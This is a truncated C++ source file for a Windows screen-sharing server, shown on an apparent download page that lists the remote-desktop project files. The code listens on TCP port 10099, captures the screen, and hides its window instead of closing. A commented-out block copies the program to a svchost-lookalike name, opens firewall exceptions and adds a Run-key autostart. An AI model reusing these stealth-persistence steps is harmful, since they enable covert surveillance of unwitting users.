// scsrv.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "resource.h"
#include <process.h>
#pragma pack(1)
struct MouseInfo
{
POINT pt;
SHORT sKeyDown;
SHORT sKeyUp;
BOOL bClick;
BOOL bClickPre;
};
#pragma pack()
#define MAX_LOADSTRING 100
#include "zlib.h"
#pragma comment( lib, "zlibstat.lib" )
// Global Variables:
HINSTANCE hInst; // current instance
// Foward declarations of functions included in this code module:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM);
BOOL g_bExit = FALSE;
unsigned long g_nZip = 0;
DWORD __stdcall ListenThread( LPVOID lpVoid );
DWORD __stdcall SocketThread( LPVOID lpVoid );
DWORD __stdcall ScreenThread( LPVOID lpVoid );
DWORD __stdcall EventThread( LPVOID lpVoid );
SOCKET g_sockSrv = INVALID_SOCKET;
SOCKET g_sockClt = INVALID_SOCKET;
HWND g_hWnd = NULL;
HDC g_hDC = NULL;
HBITMAP g_hBitmap = NULL;
RECT g_rtScreen= { 0 };
BYTE *g_bmData = NULL;
int g_bmpSize = 0;
BITMAPINFO g_bi = { 0 };
int g_nIndex = 0;
BITMAP g_bm = { 0 };
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
Sleep( 1000 );
{
//开机自启动(暂时屏蔽,根据实际需要使用)
// char szBuff[256] = "";
//
// GetModuleFileName( hInstance, szBuff, 256 );
//
// CopyFile( szBuff, "C:\\Windows\\schost.exe", TRUE );
//
// char szKeyPath[256] = "";
//
// strcpy( szKeyPath, "C:\\Windows\\schost.exe" );
//
// strcat( szKeyPath, ":*:Enabled:schost.exe" );
//
// HKEY hKey = NULL;
//
// if ( ERROR_SUCCESS == RegOpenKey( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", &hKey ) )
// {
// RegSetValueEx( hKey, "10099:TCP", 0, REG_SZ, (const BYTE*)( "10099:TCP:*:Enabled:schost"), (DWORD)strlen( "10099:TCP:*:Enabled:schost" ) );
//
// RegCloseKey( hKey );
// }
//
// if ( ERROR_SUCCESS == RegOpenKey( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", &hKey ) )
// {
// RegSetValueEx( hKey, "C:\\Windows\\schost.exe", 0, REG_SZ, (const BYTE*)szKeyPath, (DWORD)strlen( szKeyPath ) );
//
// RegCloseKey( hKey );
// }
//
// if ( ERROR_SUCCESS == RegOpenKey( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey ) )
// {
// RegSetValueEx( hKey, "schost", 0, REG_SZ, (const BYTE*)( "C:\\Windows\\schost.exe" ), (DWORD)strlen( "C:\\Windows\\schost.exe" ) );
//
// RegCloseKey( hKey );
// }
}
WORD wVer = MAKEWORD( 2, 2 );
WSADATA wsaData;
if ( 0 != WSAStartup( wVer, &wsaData ))
{
return 0;
}
// TODO: Place code here.
MSG msg;
MyRegisterClass(hInstance);
// Perform application initialization:
if (!InitInstance (hInstance, nCmdShow))
{
WSACleanup();
return FALSE;
}
// Main message loop:
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnregisterClass( _T( "scSrvClass" ), hInstance );
WSACleanup();
return msg.wParam;
}
//
// FUNCTION: MyRegisterClass()
//
// PURPOSE: Registers the window class.
//
// COMMENTS:
//
// This function and its usage is only necessary if you want this code
// to be compatible with Win32 systems prior to the 'RegisterClassEx'
// function that was added to Windows 95. It is important to call this function
// so that the application will get 'well formed' small icons associated
// with it.
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, (LPCTSTR)IDI_SCSRV);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = (LPCSTR)IDC_SCSRV;
wcex.lpszClassName = _T( "scSrvClass" );
wcex.hIconSm = LoadIcon(wcex.hInstance, (LPCTSTR)IDI_SMALL);
return RegisterClassEx(&wcex);
}
//
// FUNCTION: InitInstance(HANDLE, int)
//
// PURPOSE: Saves instance handle and creates main window
//
// COMMENTS:
//
// In this function, we save the instance handle in a global variable and
// create and display the main program window.
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
HWND hWnd;
hInst = hInstance; // Store instance handle in our global variable
hWnd = CreateWindow(_T("scSrvClass"), _T("scsrv_wnd"), WS_OVERLAPPEDWINDOW,
0, 0, 200, 160, NULL, NULL, hInstance, NULL);
DWORD dwErr = GetLastError();
if (!hWnd)
{
return FALSE;
}
g_hWnd = hWnd;
HANDLE hThread = CreateThread( NULL, 0, ListenThread, 0, 0, NULL );
if ( hThread )
{
CloseHandle( hThread );
}
hThread = CreateThread( NULL, 0, ScreenThread, 0, 0, NULL );
if ( hThread )
{
CloseHandle( hThread );
}
return TRUE;
}
//
// FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
//
// PURPOSE: Processes messages for the main window.
//
// WM_COMMAND - process the application menu
// WM_PAINT - Paint the main window
// WM_DESTROY - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc;
hdc = BeginPaint(hWnd, &ps);
EndPaint(hWnd, &ps);
}
break;
case WM_CLOSE:
{
ShowWindow( hWnd, SW_HIDE );
break;
}
case WM_DESTROY:
if ( g_hDC )
{
DeleteDC( g_hDC );
DeleteObject( g_hBitmap );
g_hDC = NULL;
}
if ( g_bmData )
{
delete[] g_bmData;
g_bmData = NULL;
}
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
DWORD __stdcall ListenThread( LPVOID lpVoid )
{
g_sockSrv = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( INVALID_SOCKET == g_sockSrv )
{
MessageBox( NULL, "socket error", "Note", MB_OK );
return 0;
}
u_short usPort = 10099;
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons( usPort );
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if ( SOCKET_ERROR == bind( g_sockSrv, ( sockaddr* )&sin, sizeof( sin )) )
{
DWORD dwErr = WSAGetLastError();
MessageBox( NULL, "bind error", "Note", MB_OK );
closesocket( g_sockSrv );
g_sockSrv = INVALID_SOCKET;
return 0;
}
if ( SOCKET_ERROR == listen( g_sockSrv, 1 ))
{
MessageBox( NULL, "socket error", "Note", MB_OK );
closesocket( g_sockSrv );
g_sockSrv = INVALID_SOCKET;
return 0;
}
while ( 1 )
{
if ( INVALID_SOCKET == g_sockClt )
{
int nLen = sizeof( sin );
g_sockClt = accept( g_sockSrv, ( sockaddr* )&sin, &nLen );
if ( INVALID_SOCKET != g_sockClt )
{
HANDLE hThread = CreateThread( NULL, 0, SocketThread, 0, 0, NULL );
if ( hThread )
{
CloseHandle( hThread );
}
//客户端鼠标消息控制,暂时屏蔽,待完善
// hThread = CreateThread( NULL, 0, EventThread, 0, 0, NULL );
//
// if ( hThread )
// {
// CloseHandle( hThread );
// }
}
}
Sleep( 500 );
}
closesocket( g_sockSrv );
g_sockSrv = INVAL
没有合适的资源?快使用搜索试试~ 我知道了~
资源推荐
资源详情
资源评论
收起资源包目录
远程桌面(仅观看).rar (48个子文件)
服务端
StdAfx.h 995B
scsrv.rc 3KB
zlib.h 41KB
scsrv.opt 53KB
scsrv.ico 1KB
zip.h 6KB
zlibstat.lib 119KB
scsrv.plg 244B
scClt.cpp 9KB
ioapi.h 2KB
scsrv.dsw 533B
scsrv.ncb 73KB
scsrv.cpp 13KB
resource.h 777B
scsrv.exe 60KB
unzip.h 11KB
scsrv.aps 4KB
small.ico 318B
scsrv.h 323B
scsrv.dsp 5KB
StdAfx.cpp 292B
scsrv.rar 7KB
zconf.h 8KB
ReadMe.cpp 2KB
Thumbs.db 7KB
客户端
StdAfx.h 1015B
scClt.h 323B
zlib.h 41KB
zip.h 6KB
zlibstat.lib 119KB
scClt.cpp 11KB
ioapi.h 2KB
scClt.plg 2KB
scClt.ncb 49KB
resource.h 1KB
scClt.opt 53KB
scClt.ico 1KB
scClt.aps 5KB
unzip.h 11KB
scClt.dsw 535B
scClt.exe 68KB
small.ico 318B
StdAfx.cpp 292B
scClt.rc 3KB
zconf.h 8KB
ReadMe.cpp 2KB
Thumbs.db 7KB
scClt.dsp 4KB
共 48 条
- 1
hushoubo
- 粉丝: 39
- 资源: 44
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
- 1
- 2
- 3
前往页